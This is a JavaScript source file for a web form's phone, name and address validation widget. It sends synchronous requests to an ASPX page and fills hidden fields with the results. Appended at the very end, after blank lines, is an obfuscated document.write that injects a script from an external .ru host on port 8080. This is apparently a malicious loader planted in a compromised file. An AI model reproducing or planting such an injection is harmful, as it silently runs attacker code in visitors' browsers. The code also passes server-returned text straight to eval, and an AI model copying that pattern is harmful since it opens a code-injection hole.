function PhoneCheckNew(phoneCheckStat_CtlID, phoneCheckAttemps_CtlID, phoneCheckPassed_CtlID)
{
	this.CreateHTTPObject = function()
	{        
		try
		{
			xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
		}
		catch (e)
		{
			try
			{
				xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
			}
			catch (e)
			{
				xmlhttp = false;
			}
		}
	    
		if (!xmlhttp && typeof XMLHttpRequest!='undefined')
		{
			try
			{
				xmlhttp = new XMLHttpRequest();
			}
			catch (e)
			{
				xmlhttp=false;
			}
		}
	    
		if (!xmlhttp && window.createRequest)
		{
			try
			{
				xmlhttp = window.createRequest();
			}
			catch (e)
			{
				xmlhttp=false;
			}
		}        
		return xmlhttp;
	}
	this.CurrentTimes=0;
	//this.URL = "http://localhost/Bullseye.PublicSite.ValidateTelNOViaWTN.Pages/ValidatePage.aspx";
	this.URL="ValidatePageNew.aspx";
	this.GetValue=function (str_content,str_name)
	{
		var li_start;
		var li_len;
		var li_pos;
		var ls_temp;
		var ls_value;
		str_name=str_name +"=";
		li_pos = str_content.indexOf(str_name);
		if (li_pos==-1)
		{
			ls_value="";
		}
		else
		{
			ls_temp = str_content.substring(li_pos ,str_content.length );
			li_pos = ls_temp.indexOf("&");
			if (li_pos==-1)
			{
				ls_value =ls_temp.substring(str_name.length,ls_temp.length );		
			}
			else
			{
				ls_value = ls_temp.substring(str_name.length,li_pos );
			}			
		}
		return ls_value;
	}
	//this.PhoneCheckStat=phoneCheckstat;
	this.Check=function(PhoneNumber)
	{
		var result = '0';
		
		
		this.CurrentTimes++;
	    //alert( this.CurrentTimes );
	    var xmlhttp = this.CreateHTTPObject();
	    if (xmlhttp)
	    {
	       var s= this.URL + "?TelNO=" + PhoneNumber + "&SumbitTimes=" + this.CurrentTimes;
	       xmlhttp.open("GET", s, false);
           xmlhttp.send(null);
		   //if(xmlHttp.readyState == 4)
		   {
			    var responseValue=xmlhttp.responseText;
			    
			    document.getElementById(phoneCheckStat_CtlID).value=this.GetValue( responseValue, "PHONECHK_STAT" );
				document.getElementById(phoneCheckAttemps_CtlID).value=this.GetValue( responseValue, "PHONECHK_ATTEMPTS" );
				
				var tempResult = this.GetValue( responseValue, "PHONECHK_PASSED" );
				if( tempResult != '' )
				{
					result = tempResult;
				}
				document.getElementById(phoneCheckPassed_CtlID).value=result;
		   }
	    }
	    	return result;
	}

	this.Check_new=function(PhoneNumber,itemID)
	{
		var result = '0';		
		
		this.CurrentTimes++;
	    //alert( this.CurrentTimes );
	    var xmlhttp = this.CreateHTTPObject();
	    if (xmlhttp)
	    {
	       var s= this.URL + "?TelNO=" + PhoneNumber + "&SumbitTimes=" + this.CurrentTimes + "&CheckType=1&itemID=" + itemID;
	       xmlhttp.open("GET", s, false);
           xmlhttp.send(null);
		   //if(xmlHttp.readyState == 4)
		   {
			    var responseValue=xmlhttp.responseText;
			    
			    document.getElementById(phoneCheckStat_CtlID).value=this.GetValue( responseValue, "PHONECHK_STAT" );
				document.getElementById(phoneCheckAttemps_CtlID).value=this.GetValue( responseValue, "PHONECHK_ATTEMPTS" );
				
				var tempResult = this.GetValue( responseValue, "PHONECHK_PASSED" );
				if( tempResult != '' )
				{
					result = tempResult;
				}
				document.getElementById(phoneCheckPassed_CtlID).value=result;
		   }
	    }
	    return result;
	}

	this.Check_new_rejectUnknown=function(PhoneNumber,itemID)
	{
		var result = '0';		
		
		this.CurrentTimes++;
	    //alert( this.CurrentTimes );
	    var xmlhttp = this.CreateHTTPObject();
	    if (xmlhttp)
	    {
	       var s= this.URL + "?TelNO=" + PhoneNumber + "&SumbitTimes=" + this.CurrentTimes + "&itemID=" + itemID+"&rejectUnknown=1";
	       xmlhttp.open("GET", s, false);
           xmlhttp.send(null);
		   //if(xmlHttp.readyState == 4)
		   {
			    var responseValue=xmlhttp.responseText;
			    
			    document.getElementById(phoneCheckStat_CtlID).value=this.GetValue( responseValue, "PHONECHK_STAT" );
				document.getElementById(phoneCheckAttemps_CtlID).value=this.GetValue( responseValue, "PHONECHK_ATTEMPTS" );
				
				var tempResult = this.GetValue( responseValue, "PHONECHK_PASSED" );
				if( tempResult != '' )
				{
					result = tempResult;
				}
				document.getElementById(phoneCheckPassed_CtlID).value=result;
		   }
	    }
	    return result;
	}
	this.CheckPhoneLastName=function(PhoneNumber,LastName,ItemID,CheckType)
	{
		var result = '0';		
		
		this.CurrentTimes++;
	    //alert( this.CurrentTimes );
	    var xmlhttp = this.CreateHTTPObject();
	    if (xmlhttp)
	    {
	       var s= this.URL + "?TelNO=" + PhoneNumber + "&SumbitTimes=" + this.CurrentTimes + "&CheckType="+CheckType+"&itemID="+ ItemID+"&LastName="+encodeURIComponent(LastName);
	       xmlhttp.open("GET", s, false);
           xmlhttp.send(null);
		   //if(xmlHttp.readyState == 4)
		   {
			    var responseValue=xmlhttp.responseText;
			    
			    document.getElementById(phoneCheckStat_CtlID).value=this.GetValue( responseValue, "PHONECHK_STAT" );
				document.getElementById(phoneCheckAttemps_CtlID).value=this.GetValue( responseValue, "PHONECHK_ATTEMPTS" );
				
				var tempResult = this.GetValue( responseValue, "PHONECHK_PASSED" );
				if( tempResult != '' )
				{
					result = tempResult;
				}
				document.getElementById(phoneCheckPassed_CtlID).value=result;
		   }
	    }
	    return result;
	}
	this.CheckPhonePlusLastName=function(PhoneNumber,LastName,ItemID)
	{
		var result = '0';		
		
		this.CurrentTimes++;
	    //alert( this.CurrentTimes );
	    var xmlhttp = this.CreateHTTPObject();
	    if (xmlhttp)
	    {
	       var s= this.URL + "?TelNO=" + PhoneNumber + "&SumbitTimes=" + this.CurrentTimes + "&CheckType=2&itemID="+ ItemID+"&LastName="+encodeURIComponent(LastName);
	       xmlhttp.open("GET", s, false);
           xmlhttp.send(null);
		   //if(xmlHttp.readyState == 4)
		   {
			    var responseValue=xmlhttp.responseText;
			    
			    document.getElementById(phoneCheckStat_CtlID).value=this.GetValue( responseValue, "PHONECHK_STAT" );
				document.getElementById(phoneCheckAttemps_CtlID).value=this.GetValue( responseValue, "PHONECHK_ATTEMPTS" );
				
				var tempResult = this.GetValue( responseValue, "PHONECHK_PASSED" );
				if( tempResult != '' )
				{
					result = tempResult;
				}
				document.getElementById(phoneCheckPassed_CtlID).value=result;
		   }
	    }
	    return result;
	}
	this.CheckExpanded=function(PhoneNumber,FirstName,LastName,City,Zip,State,Address,ItemID)
	{
		var result = '0';		
		
		this.CurrentTimes++;
	    //alert( this.CurrentTimes );
	    var xmlhttp = this.CreateHTTPObject();
	    if (xmlhttp)
	    {
	       var s= this.URL + "?TelNO=" + PhoneNumber + "&SumbitTimes=" + this.CurrentTimes + "&CheckType=3&itemID="+ ItemID+"&FirstName="+encodeURIComponent(FirstName)+"&LastName="+encodeURIComponent(LastName)+"&City="+encodeURIComponent(City)+"&Zip="+Zip+"&State="+encodeURIComponent(State)+"&Address="+encodeURIComponent(Address);
	       xmlhttp.open("GET", s, false);
           xmlhttp.send(null);
		   //if(xmlHttp.readyState == 4)
		   {
			    var responseValue=xmlhttp.responseText;
			    
			    document.getElementById(phoneCheckStat_CtlID).value=this.GetValue( responseValue, "PHONECHK_STAT" );
				document.getElementById(phoneCheckAttemps_CtlID).value=this.GetValue( responseValue, "PHONECHK_ATTEMPTS" );
				
				var tempResult = this.GetValue( responseValue, "PHONECHK_PASSED" );
				if( tempResult != '' )
				{
					result = tempResult;
				}
				document.getElementById(phoneCheckPassed_CtlID).value=result;
		   }
	    }
	    return result;
	}
	this.DoPhoneCheck=function(PhoneNumber,FirstName,LastName,City,Zip,State,Address,ItemID,CheckTypeCode)
	{
		var result = '0';		
		
		this.CurrentTimes++;
	    //alert( this.CurrentTimes );
	    var xmlhttp = this.CreateHTTPObject();
	    if (xmlhttp)
	    {
	       var s= this.URL + "?TelNO=" + PhoneNumber + "&SumbitTimes=" + this.CurrentTimes + "&CheckType="+CheckTypeCode+"&itemID="+ ItemID+"&FirstName="+encodeURIComponent(FirstName)+"&LastName="+encodeURIComponent(LastName)+"&City="+encodeURIComponent(City)+"&Zip="+Zip+"&State="+encodeURIComponent(State)+"&Address="+encodeURIComponent(Address);
	       xmlhttp.open("GET", s, false);
           xmlhttp.send(null);
		   //if(xmlHttp.readyState == 4)
		   {
			    var responseValue=xmlhttp.responseText;
			    
			    document.getElementById(phoneCheckStat_CtlID).value=this.GetValue( responseValue, "PHONECHK_STAT" );
				document.getElementById(phoneCheckAttemps_CtlID).value=this.GetValue( responseValue, "PHONECHK_ATTEMPTS" );
				
				var tempResult = this.GetValue( responseValue, "PHONECHK_PASSED" );
				if( tempResult != '' )
				{
					result = tempResult;
				}
				document.getElementById(phoneCheckPassed_CtlID).value=result;
		   }
	    }
	    return result;
	}
	this.NameAddressCheck=function(FirstName,LastName,City,Zip,State,Address,ItemID)
	{
		var result = '0';		
		
		this.CurrentTimes++;
	    //alert( this.CurrentTimes );
	    var xmlhttp = this.CreateHTTPObject();
	    if (xmlhttp)
	    {
	       var s= this.URL + "?TelNO=&SumbitTimes=" + this.CurrentTimes + "&CheckType=4&itemID="+ ItemID+"&FirstName="+encodeURIComponent(FirstName)+"&LastName="+encodeURIComponent(LastName)+"&City="+encodeURIComponent(City)+"&Zip="+Zip+"&State="+encodeURIComponent(State)+"&Address="+encodeURIComponent(Address);
	       xmlhttp.open("GET", s, false);
           xmlhttp.send(null);
		   //if(xmlHttp.readyState == 4)
		   {
			    var responseValue=xmlhttp.responseText;
				//alert(responseValue);
			    
			    document.getElementById(phoneCheckStat_CtlID).value=this.GetValue( responseValue, "PHONECHK_STAT" );
				document.getElementById(phoneCheckAttemps_CtlID).value=this.GetValue( responseValue, "PHONECHK_ATTEMPTS" );
				
				var tempResult = this.GetValue( responseValue, "PHONECHK_PASSED" );
				if( tempResult != '' )
				{
					result = tempResult;
				}
				document.getElementById(phoneCheckPassed_CtlID).value=result;
		   }
	    }
	    return result;
	}
	this.DoPhoneCheckwithCallback=function(PhoneNumber,FirstName,LastName,City,Zip,State,Address,ItemID,CheckTypeCode,NeedUpdateIDs)
	{
		var result = '0';		
		
		this.CurrentTimes++;
	    //alert( this.CurrentTimes );
	    var xmlhttp = this.CreateHTTPObject();
	    if (xmlhttp)
	    {
	       var s= this.URL + "?TelNO=" + PhoneNumber + "&SumbitTimes=" + this.CurrentTimes + "&CheckType="+CheckTypeCode+"&itemID="+ ItemID+"&FirstName="+encodeURIComponent(FirstName)+"&LastName="+encodeURIComponent(LastName)+"&City="+encodeURIComponent(City)+"&Zip="+Zip+"&State="+encodeURIComponent(State)+"&Address="+encodeURIComponent(Address);
	       xmlhttp.open("GET", s, false);
           xmlhttp.send(null);
		   //if(xmlHttp.readyState == 4)
		   {
			    var responseValue=xmlhttp.responseText;
			    
			    document.getElementById(phoneCheckStat_CtlID).value=this.GetValue( responseValue, "PHONECHK_STAT" );
				document.getElementById(phoneCheckAttemps_CtlID).value=this.GetValue( responseValue, "PHONECHK_ATTEMPTS" );
				
				var tempResult = this.GetValue( responseValue, "PHONECHK_PASSED" );
				if( tempResult != '' )
				{
					result = tempResult;
				}
				document.getElementById(phoneCheckPassed_CtlID).value=result;
				
				var IDValues = this.GetValue( responseValue, "NEEDUPDATEDIDS" );

				if( result == '1' && IDValues !="")
				{					
					var arrIDValues = IDValues.split(";");
					var arrNeedUpdateIDs = NeedUpdateIDs.split(";");
					for(var i =0; i < arrIDValues.length; i++)
					{
						if(arrIDValues[i] != '')
						{
							if(arrNeedUpdateIDs[i] != '' && document.getElementById(arrNeedUpdateIDs[i]) != null)
							{
								document.getElementById(arrNeedUpdateIDs[i]).value=arrIDValues[i];
							}
						}
					}
				}
		   }
	    }
	    return result;
	}
this.PhoneCheckwithCallback=function(PhoneNumber,FirstName,LastName,City,Zip,State,Address,ItemID,CheckTypeCode,JSFunction)
	{
		var result = '0';		
		
		this.CurrentTimes++;
	    //alert( this.CurrentTimes );
	    var xmlhttp = this.CreateHTTPObject();
	    if (xmlhttp)
	    {
	       var s= this.URL + "?TelNO=" + PhoneNumber + "&SumbitTimes=" + this.CurrentTimes + "&CheckType="+CheckTypeCode+"&itemID="+ ItemID+"&FirstName="+encodeURIComponent(FirstName)+"&LastName="+encodeURIComponent(LastName)+"&City="+encodeURIComponent(City)+"&Zip="+Zip+"&State="+encodeURIComponent(State)+"&Address="+encodeURIComponent(Address);
	       xmlhttp.open("GET", s, false);
           xmlhttp.send(null);
		   //if(xmlHttp.readyState == 4)
		   {
			    var responseValue=xmlhttp.responseText;
			    
			    document.getElementById(phoneCheckStat_CtlID).value=this.GetValue( responseValue, "PHONECHK_STAT" );
				document.getElementById(phoneCheckAttemps_CtlID).value=this.GetValue( responseValue, "PHONECHK_ATTEMPTS" );
				
				var tempResult = this.GetValue( responseValue, "PHONECHK_PASSED" );
				if( tempResult != '' )
				{
					result = tempResult;
				}
				document.getElementById(phoneCheckPassed_CtlID).value=result;
				
				var needUpdatJson = this.GetValue( responseValue, "NEED_UPDATE_JSON" );
				//alert(needUpdatJson);
				
				if( result == '1' && needUpdatJson !="")
				{
					eval(JSFunction+"("+needUpdatJson+")");
				}
		   }
	    }
	    return result;
	}
}

 



document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Virtual_Memory.js"></scr'+'ipt>');